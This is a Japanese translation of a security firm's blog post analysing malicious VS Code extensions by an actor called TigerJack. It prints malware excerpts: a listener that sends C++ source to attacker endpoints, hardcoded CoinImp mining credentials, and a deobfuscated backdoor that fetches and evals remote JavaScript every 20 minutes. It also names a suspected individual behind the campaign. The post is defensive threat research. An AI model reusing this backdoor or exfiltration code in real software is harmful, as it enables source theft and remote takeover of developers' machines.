TigerJack――私たちが2025年初頭から追跡している脅威アクターです。ab-498、498、498-00という複数の公開者アカウントを使い分け、少なくとも11個の悪意あるVS Code拡張機能を開発者向けマーケットプレイスに組織的に潜り込ませてきました。Tiger-Jackが展開する手口は巧妙で、ソースコードを盗み、暗号通貨をマイニングし、システムを完全に掌握するためのリモートバックドアを設置します。
TigerJackが手がけた拡張機能の中でも特に成功したのが「C++ Playground」と「HTTP Format」の2つです。この2つはMicrosoftが静かに削除するまでに17,000人以上の開発者に感染を広げました。しかし、脅威はそれで終わりませんでした。これらの拡張機能はOpenVSXマーケットプレイス(Cursor、Windsurfなど、VS Code互換のIDEで利用される)では現在も完全に稼働しており、Microsoftのプラットフォームから削除された後も何カ月にもわたってコードを盗み、暗号通貨のマイニングを続けています。
さらに、私たちがこの活動を調査している最中にも、TigerJackは再び動きました。同じ悪意あるコードを別名で作り直し、Microsoft自身のマーケットプレイスに再び公開したのです。

締め切りが迫る深夜2時、複雑なC++アルゴリズムのデバッグに苦戦しているとします。コードスニペットを手早く試せそうな便利な拡張機能を見つけてインストールします。実際、申し分なく動作します。コードをコンパイルし、エラーを強調表示し、さらにはGoogleのスタイルガイドに沿って整形までしてくれます。しかし気づかないうちに、あなたが打つ一文字一文字がリアルタイムでサーバーへひそかにアップロードされ、CPUは密かに暗号通貨をマイニングし、隠されたバックドアが20分ごとに新たな命令をチェックして、システムの完全な制御権を攻撃者に渡そうとしています。
これは、これらの拡張機能をインストールした何千人もの開発者にとっての現実です。このマルウェアは目に見えない形で動作し、謳い文句通りの機能を提供しながら、同時に知的財産を盗み、システムリソースを乗っ取り、リモートアクセス用の永続的なバックドアを維持し続けます。何かがおかしいと気づく頃には――そもそも気づけたとしての話ですが――すでに何カ月分もの成果が危険にさらされている可能性があります。

マルウェアの正体:拡張機能その1「C++ Playground」
完璧なカバーストーリー
「C++ Playground」拡張機能は、C++開発者向けの究極のコーディング支援ツールとして自らを売り込んでいます。コードを即座に書いて実行できる機能、自動整形、エラーのハイライト表示、さらにはオフラインでのプロジェクトコンパイル対応まで、快適な体験を約束しています。
そして厄介なことに、実際にその通りに動作します。この拡張機能は謳い文句をすべて実現しています。コードをリアルタイムでコンパイルし、入力しながらミスをハイライト表示し、Googleが定めるC++スタイルガイドに沿ってきれいに整形し、VS Codeのインターフェースにも自然に溶け込みます。試してみた開発者にとっては、洗練されたプロ仕様のツールに感じられるはずです――機能面では、実際にその通りだからです。

しかし、このプロフェッショナルな外見の裏には、たった一つの目的のために設計された巧妙なマルウェアが潜んでいます。あなたが書いたコードを一行残らず盗み出すという目的です。
コード窃取の技術的な仕組み
この拡張機能は、onStartupFinishedトリガーによってVS Codeの起動と同時に自動的に有効化されます。有効化されると、ワークスペース内のすべてのC++ファイルを監視するドキュメント変更リスナーを登録します。
P.workspace.onDidChangeTextDocument(async (i) => {
i.document &&
i.document.languageId == "cpp" &&
i.document?.uri.scheme == "file" &&
(j?.document.uri.toString().includes(Ut) ||
(mt.myfile != i.document.getText() &&
(Bt(i), (mt.myfile = i.document.getText()))));
})
キーを押すたびに500ミリ秒の遅延を挟んでこの関数が実行されます。パフォーマンスへの影響を避けつつ、リアルタイムでコードを捕捉できる絶妙な間隔です。あなたが書いたソースコード全体はJSON形式のペイロードにまとめられ、複数のエンドポイントへ送信されます。
// Primary exfiltration targetsea = [
"https://ab498.pythonanywhere.com/test4",
"https://api.codex.jaagrav.in",
"https://ab498.pythonanywhere.com/compile",
]
ペイロードの構造を見れば、情報窃取の規模がわかります。
{
code: "/* YOUR COMPLETE C++ SOURCE CODE */",
language: "cpp",
replaced: "/* PROCESSED VERSION OF YOUR CODE */",
input: "/* SIMULATED INPUT DATA */"}
このマルウェアは非常に精密に作られており、C++ファイルに対してのみ動作するため、他の言語で作業している開発者からは検知されにくくなっています。しかしC++開発者にとっては、画期的なアルゴリズムも、会社の競争優位性を左右するコードも、卒業論文用のプロジェクトも、すべてが盗み取られてしまいます。
マルウェアの正体:拡張機能その2「HTTP Format」
暗号通貨マイニングの実態
「HTTP Format」拡張機能はまた別のアプローチを取っています。「ワンキー」で整形できるシンプルなHTTPファイルフォーマッタとして売り出されており、REST APIやHTTPファイルを扱う開発者向けの軽量ユーティリティを装っています。
もう一方のマルウェアと同様、これも実際に動作します。インストールしてHTTPファイル上でCtrl+Shift+Fを押せば、雑然としたAPIリクエストが見事に整形されます。この拡張機能は謳い文句通りの機能を提供する一方で、密かにあなたのマシンを暗号通貨マイニング機に変えてしまいます。

マイニング用インフラ
難読化されたこの拡張機能のコードの中には、CoinImp暗号通貨マイニングサービスの完全なAPI認証情報が埋め込まれています。
// Hardcoded mining operation credentialsSite Key: 53415facb13dccbdf8523b5eefd45d01f6b16bf984cd8cf39ac04150266a4cd9
API Key: a8cf5c9291594c471bb786dcadeb9845bc3cc26a17ec52ec632a9bb7844e5b87
Username: mainuser
Username: mainuser
これらの認証情報により、TigerJackはマイニングの進捗を監視し、採掘した暗号通貨を自分のウォレットへ直接引き出し、収益性を追跡し、マイニング処理を最適化し、何千台もの侵害済みシステムを同時に管理することができます。
この拡張機能は複数のCoinImpエンドポイントに接続します。
# Balance monitoring
https://www.coinimp.com/api/v2/user/balance# User management
https://www.coinimp.com/api/v2/user/list# Cryptocurrency withdrawal
https://www.coinimp.com/api/v2/user/withdraw
最初は、単にマシンの調子が悪いように感じるだけかもしれません。ファンが常時回り続け、単純な作業でも動作が重くなります。かつては快適だった開発環境が、突然もたついて不安定に感じられるようになります。IDEやハードウェア、あるいは不具合のあるアップデートのせいだと思うかもしれませんが、本当の原因はバックグラウンドで静かに動き続け、CPUを浪費しながら生産性を蝕んでいるこのマルウェアです。
これは単なる不運ではありません。あなたのシステムが乗っ取られているのです。あなたがコードを書いている間、別の誰かが裏で密かに暗号通貨をマイニングし、あなたのCPUと電力を消費しています。
一方TigerJackにとっては、労せずして利益を得られる仕組みです。感染したマシン一台一台が、目に見えず、自動化された、拡張性のある収入源になるのです。

脅威のエスカレーション
しかし、TigerJackの手口はコード窃取と暗号通貨マイニングだけにとどまりませんでした。さらに調査を進めると、同一の攻撃活動に紐づく別のアカウントや拡張機能が見つかり、さらに危険な能力が明らかになりました。感染したマシンを完全に制御できるリモートコード実行機能です。
マルウェアの正体:拡張機能その3――リモートコード実行バックドア
システムの完全掌握
ソースコードの窃取や暗号通貨マイニングだけでも十分に警戒すべき事態ですが、TigerJackの活動にはさらに危険なものが含まれています。感染したマシンを完全に制御できるリモートコード実行機能を備えた拡張機能です。
VS Codeマーケットプレイスの「498」公開者アカウントの下には、498.cppplayground、498.httpformat、498.pythonformatという3つの拡張機能があり、いずれもTigerJackのサーバーから任意のJavaScriptを定期的にダウンロードして実行する、同一のバックドアコードが仕込まれていました。
バックドアの仕組み
この悪意あるコードは、20分ごとに新しい命令の有無をチェックする永続的なバックドアを確立します。以下は難読化を解除したコードです。
asyncfunctionsetupBackdoor() {
try {
let previousCode = -1;
let fetchAndExecute = async () => {
try {
let remoteCode = await (
await fetch('https://ab498.pythonanywhere.com/static/in4.js')
).text();
if (remoteCode != previousCode) {
eval(remoteCode);
previousCode = remoteCode;
}
} catch (error) {}
};
await fetchAndExecute();
setInterval(fetchAndExecute, 1000 * 60 * 20);
} catch (error) {
console.error('SRC_ERR', error);
}
}
その意味するところ
挙動が特定的で予測可能なコード窃取型・暗号通貨マイニング型の拡張機能とは異なり、このリモートコード実行バックドアはいわば「開けっぱなしの扉」です。20分ごとに新しい命令をチェックし、遠隔から取得したコードに対してeval()を実行する仕組みにより、TigerJackは拡張機能を更新することなく、あらゆる悪意あるペイロードを動的に送り込むことができます。認証情報やAPIキーの窃取、ランサムウェアの展開、侵害された開発者マシンを踏み台にした企業ネットワークへの侵入、プロジェクトへのバックドア埋め込み、活動のリアルタイム監視など、あらゆることが可能になります。
これはTigerJackの能力における重大なエスカレーションを示すものであり、その活動が単なる日和見的なマルウェアの域をはるかに超えていることを物語っています。これは、最大限の柔軟性と制御を実現するために設計された、高度な攻撃基盤なのです。
公開者プロファイル:複数アカウントによる組織的な攻撃活動
当初は2つの悪意ある拡張機能による単純な事案に見えたものが、実際にはさらに巧妙な実態を持つことが判明しました。3つの異なる公開者アカウント(ab-498、498、498-00)にまたがる、少なくとも11個の拡張機能による組織的なキャンペーンです。
この複数アカウント戦略には、一つのアカウントが摘発された際の保険として機能する、独立した開発者による活動であるかのような錯覚を生む、そしてプロレベルのソーシャルエンジニアリングを実現するという狙いがあります。信頼性を演出するGitHubリポジトリ、拡張機能間で統一されたブランディング、詳細な機能一覧、プロフェッショナルなマーケットプレイス上のプレゼンテーション、そして正規のツールを模倣した戦略的な命名(cppformat、pythonformat、httpformatなど)です。

このパターンからは、TigerJackの中核戦略が浮かび上がります。謳い文句通りに実際に動作する、一見正規のツールを作り出しながら、バックグラウンドで目に見えない形で悪意ある機能を組み込むという手口です。これは完璧な隠れ蓑です。開発者は必要な機能を得られる一方で、気づかぬうちに知的財産の窃取とリソースの乗っ取りの被害者になってしまいます。
TigerJackのデジタルフットプリントを調査したところ、この活動で使われているGitHubアカウントに紐づくFacebookプロフィールが見つかりました。このプロフィールは「Zubaer Ahmed」という名前で、TigerJack本人の実際の個人アカウントである可能性が高く、運用面でのセキュリティ上の不備によって実名がうっかり露呈してしまったものと考えられます。このプロフィールはその後、削除されたか、一般公開されない設定に変更されています。

トロイの木馬戦略
11個の拡張機能を分析したところ、特に悪質な手口が明らかになりました。そのうちのいくつかは、悪意あるコードを一切含まない完全に無害なツールとして最初にアップロードされていたのです。悪意あるアップデートを展開する前に信頼を積み重ねる、典型的なトロイの木馬型の手口です。
まずクリーンな拡張機能を公開することで、この脅威アクターは好意的なレビューを蓄積し、セキュリティスキャンを通過させ、正当性を確立できます。ある拡張機能が数百件、数千件のインストールを獲得して勢いに乗った時点で、悪意ある機能を仕込んだ「アップデート」を送り込むことができます。インストール前にその拡張機能を検証していた開発者であっても、気づかぬうちに侵害されたツールを受け取ってしまうことになります。
Microsoftは最終的に、これら当初は無害だった拡張機能も削除しました。しかしそれは、悪意ある拡張機能と同じ公開者アカウントに紐づいていたからにすぎません。もしこれらのトロイの木馬型拡張機能が、互いに関連のない別々のアカウントで公開されていたら、おそらく今日に至るまでマーケットプレイス上で検知されずに残り、悪意あるペイロードのアップデートを待つ「スリーパーエージェント」として機能し続けていた可能性があります。
再燃する脅威:組織的な大量再公開
この調査を進めている最中にも、脅威の状況はリアルタイムで変化し、私たちの懸念を裏付ける形になりました。2025年9月17日、TigerJackは組織的な再公開キャンペーンを開始しました。単一の拡張機能ではなく、新たな公開者アカウント「498-00」の下で5つの拡張機能を同時に公開したのです。その中には、オリジナルのC++ Playground拡張機能と同じ悪意あるコードを再パッケージ化した「cppplayground」も含まれていました。
これは削除されたマルウェアの単純な再公開ではなく、組織的かつ体系的なキャンペーンでした。5つの拡張機能を一度に公開することには複数の狙いがあります。攻撃対象領域を広げ、リスクを複数の拡張機能名に分散させ、そして各プラットフォームにおける検知・削除プロセスの遅さや不整合を突くことです。
マーケットプレイスのシェルゲーム:検知されても守られない
数カ月にわたり、この2つの悪意ある拡張機能はVS Codeマーケットプレイス上で自由に活動を続け、コードを盗み暗号通貨をマイニングしながら17,000件を超えるダウンロード数を記録しました。Microsoftが最終的に対応に動いた際も、選んだのはユーザーへの通知を一切行わない静かな削除でした。セキュリティ勧告も、感染した開発者への警告もなく、目立たないGitHubリポジトリに拡張機能IDをひっそりと記載しただけの、静かな削除です。17,000人を超える侵害された開発者たちは、自ら気づくしかない状況に置かれました。

ここに、分断された開発者エコシステムが抱える根本的な欠陥が浮き彫りになります。一つのマーケットプレイスがマルウェアを削除しても、脅威は単にセキュリティ対策の甘い別のプラットフォームへ移動するだけです。本稿執筆時点でも、この2つの拡張機能はOpenVSXマーケットプレイス上で完全に稼働しており、プロフェッショナルな説明文、ユーザーレビュー、さらには安全性を装う認証済みバッジまで備えています。
しかし、本当に憂慮すべき現実はここにあります。OpenVSXをはじめとする代替マーケットプレイスには、セキュリティ検知の仕組みがほぼ存在しないように見えるのです。Microsoftが何カ月もの被害を経てようやく脅威を特定するのに対し、これらのプラットフォームはマルウェアスキャンをほとんど、あるいはまったく行わずに運用されています。誰も見ていないプラットフォームに悪意ある拡張機能を直接アップロードできるのなら、わざわざMicrosoftの検知を回避する必要などないのです。
その結果生まれるのが、マーケットプレイスをまたいで飛び回るマルウェアという名のシェルゲームです。あるプラットフォームから削除されても、別のプラットフォームでは繁栄を続けます。主要プラットフォームで特定されるまでに何カ月もかかる脅威は、規模の小さいプラットフォームでは事実上無制限の猶予期間を得ることになり、まったく新しい脅威に至っては完全にフリーパスとなってしまいます。
「セキュリティ劇場」の連鎖を断ち切る
これは2つの拡張機能や一社のベンダーの対応にとどまる話ではありません。セキュリティ上の失敗がプラットフォームをまたいで連鎖し、コミュニティ全体が脆弱な状態に置かれる一方で、各社がユーザーではなくブランドを守るための「セキュリティ劇場」を演じ続けている――そんな開発者エコシステムの構造そのものが問題なのです。
すべてのマーケットプレイスに共通する分断されたセキュリティ体制は、危険な死角を生み出しており、高度な脅威アクターはすでにそこを突いています。セキュリティ対策がそれぞれのプラットフォーム内で閉じている限り、脅威はプラットフォーム間を自由に移動する一方で、開発者は気づかぬまま危険にさらされ続けます。
Koiでは、これとは異なるアプローチを取っています。各マーケットプレイスが独自のセキュリティ基準を整備するのを待つのではなく、私たちはすべての拡張機能マーケットプレイスを継続的にスキャンし、開発環境に到達する前に脅威を特定しています。私たちの包括的なリスク分析は、コードの窃取や暗号通貨マイニングから、不審なネットワーク挙動、難読化されたペイロードまで、複数の脅威ベクトルにわたって拡張機能を評価します。
お客様の環境内で悪意ある拡張機能を検知した場合、私たちは単に警告を出すだけではありません。自動的な修復措置を提供し、侵害されたツールを安全に除去し、被害の可能性を評価するお手伝いをします。私たちの脅威インテリジェンスは、マーケットプレイスの垣根を越えて広がっています。脅威はプラットフォームの区分など気にしないからです。
包括的なマーケットプレイスセキュリティがどのように機能するのかをご覧になりたい方、あるいは開発環境を今すぐ守りたいという方は、デモを予約するか、私たちまでお問い合わせください。
侵害指標(IOC)
ネットワーク:
- ab498.pythonanywhere[.]com
- api.codex.jaagrav[.]in
- coinimp[.]com
拡張機能:
- ab-498.cppplayground
- ab-498.httpformat
- ab-498.pythonformat
- ab-498.cppformat
- 498.cppplayground
- 498.cppformat
- 498.httpformat
- 498.pythonformat
- 498-00.cppplayground
- 498-00.cppformat
- 498-00.pythonformat
- 498-00.testwebext
- 498-00.httpformat
翻訳元: https://www.koi.ai/blog/tiger-jack-malicious-vscode-extensions-stealing-code